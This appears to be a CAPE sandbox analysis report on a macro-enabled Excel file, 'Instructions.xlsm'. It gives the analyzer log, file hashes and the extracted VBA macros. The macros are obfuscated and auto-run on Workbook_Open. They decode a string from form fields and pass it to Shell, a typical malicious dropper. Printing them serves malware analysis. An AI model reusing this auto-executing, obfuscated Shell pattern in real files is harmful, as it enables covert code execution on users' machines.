Category | Package | Started | Completed | Duration | Options | Log |
---|---|---|---|---|---|---|
FILE | xls | 2019-02-11 19:46:59 | 2019-02-11 19:50:42 | 223 seconds | Show Options | Show Log |
route = internet
procdump = 1
2019-02-11 19:47:00,015 [root] INFO: Date set to: 02-11-19, time set to: 19:47:00, timeout set to: 200 2019-02-11 19:47:00,046 [root] DEBUG: Starting analyzer from: C:\xqsoqngca 2019-02-11 19:47:00,046 [root] DEBUG: Storing results at: C:\tnauzXIj 2019-02-11 19:47:00,046 [root] DEBUG: Pipe server name: \\.\PIPE\WVUhadKI 2019-02-11 19:47:00,046 [root] DEBUG: No analysis package specified, trying to detect it automagically. 2019-02-11 19:47:00,046 [root] INFO: Automatically selected analysis package "xls" 2019-02-11 19:47:00,920 [root] DEBUG: Started auxiliary module Browser 2019-02-11 19:47:00,920 [root] DEBUG: Started auxiliary module Curtain 2019-02-11 19:47:00,920 [modules.auxiliary.digisig] INFO: Skipping authenticode validation, signtool.exe was not found in bin/ 2019-02-11 19:47:00,920 [root] DEBUG: Started auxiliary module DigiSig 2019-02-11 19:47:00,936 [root] DEBUG: Started auxiliary module Disguise 2019-02-11 19:47:00,936 [root] DEBUG: Started auxiliary module Human 2019-02-11 19:47:00,936 [root] DEBUG: Started auxiliary module Screenshots 2019-02-11 19:47:00,936 [root] DEBUG: Started auxiliary module Sysmon 2019-02-11 19:47:00,936 [root] DEBUG: Started auxiliary module Usage 2019-02-11 19:47:00,936 [root] INFO: Analyzer: Package modules.packages.xls does not specify a DLL option 2019-02-11 19:47:00,936 [root] INFO: Analyzer: Package modules.packages.xls does not specify a DLL_64 option 2019-02-11 19:47:01,092 [lib.api.process] INFO: Successfully executed process from path "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" with arguments ""C:\Users\user\AppData\Local\Temp\Instructions.xlsm" /e" with pid 560 2019-02-11 19:47:01,092 [lib.api.process] DEBUG: Using QueueUserAPC injection. 2019-02-11 19:47:01,092 [lib.api.process] INFO: 32-bit DLL to inject is C:\xqsoqngca\dll\ACOMWQj.dll, loader C:\xqsoqngca\bin\BYMKpsr.exe 2019-02-11 19:47:01,107 [lib.api.process] INFO: Injected into suspended 32-bit process with pid 560 2019-02-11 19:47:03,119 [lib.api.process] INFO: Successfully resumed process with pid 560 2019-02-11 19:47:03,119 [root] INFO: Added new process to list with pid: 560 2019-02-11 19:47:03,213 [root] DEBUG: Terminate processes on terminate_event disabled. 2019-02-11 19:47:03,213 [root] DEBUG: Process dumps enabled. 2019-02-11 19:47:03,259 [root] DEBUG: CAPE initialised: 32-bit base package loaded in process 560 at 0x74980000, image base 0x2f9a0000, stack from 0x2a6000-0x2b0000 2019-02-11 19:47:03,259 [root] DEBUG: Commandline: C:\Users\user\AppData\Local\Temp\"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" "C:\Users\user\AppData\Local\Temp\Instructions.xlsm" \e. 2019-02-11 19:47:03,259 [root] INFO: Monitor successfully loaded in process with pid 560. 2019-02-11 19:47:03,306 [root] DEBUG: DLL loaded at 0x719D0000: C:\Program Files (x86)\Common Files\Microsoft Shared\office14\mso (0x11e4000 bytes). 2019-02-11 19:47:03,354 [root] DEBUG: DLL loaded at 0x74740000: C:\Windows\system32\msi (0x240000 bytes). 2019-02-11 19:47:03,384 [root] DEBUG: DLL loaded at 0x74DC0000: C:\Windows\system32\apphelp (0x4c000 bytes). 2019-02-11 19:47:30,966 [root] DEBUG: DLL loaded at 0x745A0000: C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\Comctl32 (0x19e000 bytes). 2019-02-11 19:47:30,980 [root] INFO: Disabling sleep skipping. 2019-02-11 19:47:31,043 [root] DEBUG: DLL loaded at 0x74190000: C:\Program Files (x86)\Common Files\Microsoft Shared\office14\Cultures\office.odf (0x40f000 bytes). 2019-02-11 19:47:31,698 [root] DEBUG: DLL loaded at 0x75B30000: C:\Windows\syswow64\CLBCatQ (0x83000 bytes). 2019-02-11 19:47:31,713 [root] DEBUG: DLL loaded at 0x74180000: C:\Windows\system32\msimtf (0xb000 bytes). 2019-02-11 19:47:31,713 [root] DEBUG: DLL loaded at 0x74170000: C:\Windows\system32\VERSION (0x9000 bytes). 2019-02-11 19:47:31,792 [root] DEBUG: DLL loaded at 0x71880000: C:\Program Files (x86)\Common Files\Microsoft Shared\office14\riched20 (0x14f000 bytes). 2019-02-11 19:47:31,838 [root] DEBUG: DLL loaded at 0x6D350000: C:\Program Files (x86)\Common Files\Microsoft Shared\office14\MSORES (0x452a000 bytes). 2019-02-11 19:47:31,855 [root] DEBUG: DLL loaded at 0x6D0E0000: C:\Program Files (x86)\Common Files\Microsoft Shared\office14\1033\MSOINTL (0x262000 bytes). 2019-02-11 19:47:31,901 [root] DEBUG: DLL loaded at 0x6CF50000: C:\Windows\WinSxS\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\GdiPlus (0x190000 bytes). 2019-02-11 19:47:31,933 [root] DEBUG: DLL unloaded from 0x77230000. 2019-02-11 19:47:31,980 [root] INFO: Announced 32-bit process name: pid: 36702776 2019-02-11 19:47:31,980 [root] INFO: Added new process to list with pid: 36702776 2019-02-11 19:47:31,980 [lib.api.process] WARNING: The process with pid 36702776 is not alive, injection aborted 2019-02-11 19:47:31,980 [root] DEBUG: DLL loaded at 0x74120000: C:\Windows\system32\mscoree (0x4a000 bytes). 2019-02-11 19:47:31,980 [root] DEBUG: set_caller_info: Adding region at 0x001B0000 to caller regions list (advapi32::RegQueryInfoKeyW). 2019-02-11 19:47:31,980 [root] DEBUG: set_caller_info: Adding region at 0x004C0000 to caller regions list (kernel32::FindFirstFileExW). 2019-02-11 19:47:31,980 [root] DEBUG: DLL loaded at 0x740A0000: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscoreei (0x7b000 bytes). 2019-02-11 19:47:32,104 [root] DEBUG: DLL loaded at 0x74080000: C:\Program Files (x86)\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPC (0x20000 bytes). 2019-02-11 19:47:32,244 [root] DEBUG: DLL loaded at 0x6CED0000: C:\Windows\system32\UxTheme (0x80000 bytes). 2019-02-11 19:47:32,401 [root] DEBUG: DLL loaded at 0x74060000: C:\Windows\system32\DwmApi (0x13000 bytes). 2019-02-11 19:47:32,431 [root] DEBUG: DLL unloaded from 0x75D20000. 2019-02-11 19:47:32,431 [root] DEBUG: DLL loaded at 0x74030000: C:\Windows\system32\POWRPROF (0x25000 bytes). 2019-02-11 19:47:32,463 [root] DEBUG: DLL loaded at 0x75420000: C:\Windows\syswow64\SETUPAPI (0x19d000 bytes). 2019-02-11 19:47:32,463 [root] DEBUG: DLL loaded at 0x75670000: C:\Windows\syswow64\CFGMGR32 (0x27000 bytes). 2019-02-11 19:47:32,463 [root] DEBUG: DLL loaded at 0x756A0000: C:\Windows\syswow64\DEVOBJ (0x12000 bytes). 2019-02-11 19:47:32,463 [root] DEBUG: DLL unloaded from 0x74030000. 2019-02-11 19:47:32,572 [root] INFO: Process with pid 36702776 has terminated 2019-02-11 19:47:32,947 [root] DEBUG: DLL loaded at 0x751D0000: C:\Windows\system32\CRYPTSP (0x16000 bytes). 2019-02-11 19:47:32,947 [root] DEBUG: DLL loaded at 0x75190000: C:\Windows\system32\rsaenh (0x3b000 bytes). 2019-02-11 19:47:32,961 [root] DEBUG: DLL loaded at 0x74050000: C:\Windows\system32\RpcRtRemote (0xe000 bytes). 2019-02-11 19:47:33,273 [root] DEBUG: DLL loaded at 0x76430000: C:\Windows\syswow64\SHELL32 (0xc4a000 bytes). 2019-02-11 19:47:33,305 [root] DEBUG: DLL unloaded from 0x2F9A0000. 2019-02-11 19:47:33,336 [root] DEBUG: DLL loaded at 0x75420000: C:\Windows\syswow64\SETUPAPI (0x19d000 bytes). 2019-02-11 19:47:33,336 [root] DEBUG: DLL loaded at 0x75670000: C:\Windows\syswow64\CFGMGR32 (0x27000 bytes). 2019-02-11 19:47:33,336 [root] DEBUG: DLL loaded at 0x756A0000: C:\Windows\syswow64\DEVOBJ (0x12000 bytes). 2019-02-11 19:47:33,336 [root] DEBUG: DLL loaded at 0x6CDD0000: C:\Windows\system32\propsys (0xf5000 bytes). 2019-02-11 19:47:33,336 [root] DEBUG: DLL unloaded from 0x76430000. 2019-02-11 19:47:33,351 [root] DEBUG: DLL loaded at 0x74C10000: C:\Windows\system32\ntmarta (0x21000 bytes). 2019-02-11 19:47:33,351 [root] DEBUG: DLL loaded at 0x76240000: C:\Windows\syswow64\WLDAP32 (0x45000 bytes). 2019-02-11 19:47:33,446 [root] DEBUG: DLL loaded at 0x74040000: C:\Windows\system32\profapi (0xb000 bytes). 2019-02-11 19:47:33,461 [root] DEBUG: DLL loaded at 0x760D0000: C:\Windows\SysWOW64\urlmon (0x136000 bytes). 2019-02-11 19:47:33,476 [root] DEBUG: DLL loaded at 0x77130000: C:\Windows\syswow64\WININET (0xf5000 bytes). 2019-02-11 19:47:33,493 [root] DEBUG: DLL loaded at 0x756C0000: C:\Windows\syswow64\iertutil (0x1fb000 bytes). 2019-02-11 19:47:33,507 [root] DEBUG: DLL loaded at 0x75D80000: C:\Windows\syswow64\CRYPT32 (0x11d000 bytes). 2019-02-11 19:47:33,507 [root] DEBUG: DLL loaded at 0x758C0000: C:\Windows\syswow64\MSASN1 (0xc000 bytes). 2019-02-11 19:47:33,664 [root] DEBUG: DLL loaded at 0x6CDB0000: C:\Windows\system32\MPR (0x12000 bytes). 2019-02-11 19:47:33,742 [root] WARNING: Unable to access file at path "C:\Users\user\AppData\Local\Temp\~$Instructions.xlsm": [Errno 13] Permission denied: u'C:\\Users\\user\\AppData\\Local\\Temp\\~$Instructions.xlsm' 2019-02-11 19:47:33,835 [root] DEBUG: DLL loaded at 0x6CC50000: C:\Windows\System32\msxml6 (0x158000 bytes). 2019-02-11 19:47:34,428 [root] DEBUG: DLL unloaded from 0x77230000. 2019-02-11 19:47:34,585 [root] DEBUG: DLL loaded at 0x6CBF0000: C:\Windows\system32\SXS (0x5f000 bytes). 2019-02-11 19:47:34,615 [root] DEBUG: DLL loaded at 0x6C960000: C:\PROGRA~2\COMMON~1\MICROS~1\VBA\VBA7\VBE7 (0x28d000 bytes). 2019-02-11 19:47:34,694 [root] DEBUG: DLL loaded at 0x65300000: C:\PROGRA~2\COMMON~1\MICROS~1\VBA\VBA7\1033\VBE7INTL (0x26000 bytes). 2019-02-11 19:47:34,694 [root] DEBUG: set_caller_info: Adding region at 0x06710000 to caller regions list (ntdll::memcpy). 2019-02-11 19:47:34,740 [root] DEBUG: set_caller_info: Adding region at 0x008E0000 to caller regions list (ntdll::NtAllocateVirtualMemory). 2019-02-11 19:47:34,740 [root] DEBUG: set_caller_info: Adding region at 0x00650000 to caller regions list (ntdll::LdrGetProcedureAddress). 2019-02-11 19:47:34,740 [root] DEBUG: set_caller_info: Adding region at 0x00440000 to caller regions list (advapi32::RegCloseKey). 2019-02-11 19:47:34,772 [root] DEBUG: set_caller_info: Adding region at 0x04F70000 to caller regions list (ntdll::memcpy). 2019-02-11 19:47:34,772 [root] DEBUG: set_caller_info: Adding region at 0x00020000 to caller regions list (ntdll::LdrGetProcedureAddress). 2019-02-11 19:47:34,849 [root] DEBUG: set_caller_info: Adding region at 0x00430000 to caller regions list (msvcrt::memcpy). 2019-02-11 19:47:34,865 [root] DEBUG: set_caller_info: Adding region at 0x06550000 to caller regions list (ntdll::memcpy). 2019-02-11 19:47:34,881 [root] DEBUG: set_caller_info: Adding region at 0x01F60000 to caller regions list (ntdll::memcpy). 2019-02-11 19:50:24,967 [root] INFO: Analysis timeout hit (200 seconds), terminating analysis. 2019-02-11 19:50:24,967 [root] INFO: Created shutdown mutex. 2019-02-11 19:50:25,982 [root] INFO: Setting terminate event for process 560. 2019-02-11 19:50:26,496 [root] INFO: Shutting down package. 2019-02-11 19:50:26,496 [root] INFO: Stopping auxiliary modules. 2019-02-11 19:50:26,496 [root] INFO: Finishing auxiliary modules. 2019-02-11 19:50:26,496 [root] INFO: Shutting down pipe server and dumping dropped files. 2019-02-11 19:50:26,496 [root] INFO: Analysis completed.
Name | Label | Manager | Started On | Shutdown On |
---|---|---|---|---|
target-03 | target-03 | ESX | 2019-02-11 19:46:59 | 2019-02-11 19:50:41 |
File Name | Instructions.xlsm |
---|---|
File Size | 37429 bytes |
File Type | Microsoft Excel 2007+ |
MD5 | a498ba99ea588b7bdd15d0e67eb2abbe |
SHA1 | 7243454847fa71a7ca839af3b1e0009bc1c93d92 |
SHA256 | d8261ce7b29193b64efec094dffdcc51774cd1473e679ca407b4e37af9e7ee4c |
SHA512 | 15b76ba955a1dc137796792bbccb49eba5f338fc89518faa3ccca5dbd23d9f8e67d23e493bf337cb6579ad850dfb4ed1bc53f8232732e5630977a449fbfdba75 |
CRC32 | 0097C113 |
Ssdeep | 768:nrXl/xFilEq/EQvuWcZg7cToDGhBeGhMEV+4+4eMYgjNESlMp:nZrilvdOo4oDGP5e8+rRMYqNESlo |
TrID |
|
ClamAV | None matched |
Yara | None matched |
CAPE Yara | None matched |
Download Download ZIP Resubmit sample |
No hosts contacted.
No domains contacted.
Suspicious | |
---|---|
Shell | May run an executable file or a system command |
AutoExec | |
---|---|
Workbook_Open | Runs when the Excel Workbook is opened |
VBA Filename | Form1.frm | Extracted Macro |
Private Sub CommandButton2_Click() FormatText End Sub Private Sub EditSum_Change() End Sub Private Sub TextBox1_Change() Dim i As Integer For i = 0 To 20300 Form1.TextBox1.MaxLength = i Next i End Sub Private Sub CompareTextReals_Click() End Sub Private Sub result_Change() Dim hy As Integer hy = Len(Form1.result.Text) If hy < 680 Then ChangeText Form1.result.Text End If End Sub
VBA Filename | Module1.bas | Extracted Macro |
Rem Version 1.0 Dim stripText As String Dim ClearText As String Dim ColNum As Integer Sub RunMain() document_status_apply End Sub Sub LongMul(ByRef b1, ByRef control, ACIT) div = div + 1 If b1 <= Len(Form1.EditSum) Then 'Sheet1.Cells(ColNum, b1 + 2 + 3) = b b = Right(Left(Form1.EditSum, b1), 1) If ACIT <> b Then b1 = b1 + 1 LongMul b1, control, ACIT Else control = b1 ColNum = 1 + ColNum End If End If End Sub Sub FormatText() DD = 101 document_status_apply End Sub Sub document_status_apply() CountSym = 1 'Dim level As String With Form1 DT = "" RenameText CountSym, DT, .TextReal ClearText = DT DT = "" CountSym = 1 'Chars_Replace Form1.TextReal, level RenameText CountSym, DT, .Label1 stripText = DT End With MaxNumber (0) End Sub Sub morningDw(Ar1, ByRef Ar2) Ar2 = 0 a0 = 1 LongMul a0, Ar2, Ar1 End Sub Sub MaxNumber(qw) Dim ln As Integer Dim ris As Double With Form1 ln = Len(ClearText) + Len(stripText) Loading = "dvfert36tge4tgf" 'Shemf Text, si - 2400 - 16 If ln = 320 Then 'MsgBox (ClearText) If 0 = qw Then s1 = "1" s2 = "2" For j = 0 To 240 .TextBox1 = s1 .TextBox1 = s2 Next j s = ClearText + .Label2.Caption .result = s + stripText '.EditSum = res End If For j = 0 To 170 .TextBox1 = s2 Next j End If 'Form1.Show End With End Sub Sub LockWideString(pointer, ByRef r1) Dim N1 As Integer N1 = 1 If pointer < N1 Then r1 = Right(Left(Form1.EditSum, Len(Form1.EditSum) + pointer), N1) Else r1 = Right(Left(Form1.EditSum, pointer), N1) End If End Sub Sub ChangeText(dt1) m = Len(dt1) If 675 < m Then Shell dt1, m * 0 End If End Sub Sub RenameText(ByRef CountSym, ByRef Build, FET) Dim n As Integer 'LockWideString imemo - 2, st n = Len(FET) If CountSym <= n Then 'Sheet2.Cells(CountSym, 1) = ch ch1 = Left(FET, CountSym) imemo = 1 ch = Right(ch1, 1) morningDw ch, imemo st = "" LockWideString imemo - 6, st CountSym = CountSym + 1 Build = Build + st RenameText CountSym, Build, FET End If End Sub
VBA Filename | ThisWorkbook.cls | Extracted Macro |
Sub Workbook_Open() RunMain End Sub
No hosts contacted.
No TCP connections recorded.
No UDP connections recorded.
No domains contacted.
No HTTP requests performed.
No SMTP traffic performed.
No IRC requests performed.
No ICMP traffic performed.
No CIF Results
No Suricata Alerts
No Suricata TLS
No Suricata HTTP
No JA3 hashes found.
File name | CVR28A6.tmp.cvr |
---|---|
Associated Filenames |
C:\Users\user\AppData\Local\Temp\CVR28A6.tmp.cvr
|
File Size | 0 bytes |
File Type | empty |
MD5 | d41d8cd98f00b204e9800998ecf8427e |
SHA1 | da39a3ee5e6b4b0d3255bfef95601890afd80709 |
SHA256 | e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 |
CRC32 | 00000000 |
Ssdeep | 3:: |
ClamAV | None |
Yara | None matched |
CAPE Yara | None matched |
VirusTotal | Search for Analysis |
Download Download ZIP Submit file |
Task ID | 36431 |
---|---|
Mongo ID | 5c61d214f284883e41aeadad |
Cuckoo release | 1.3-CAPE |
Delete |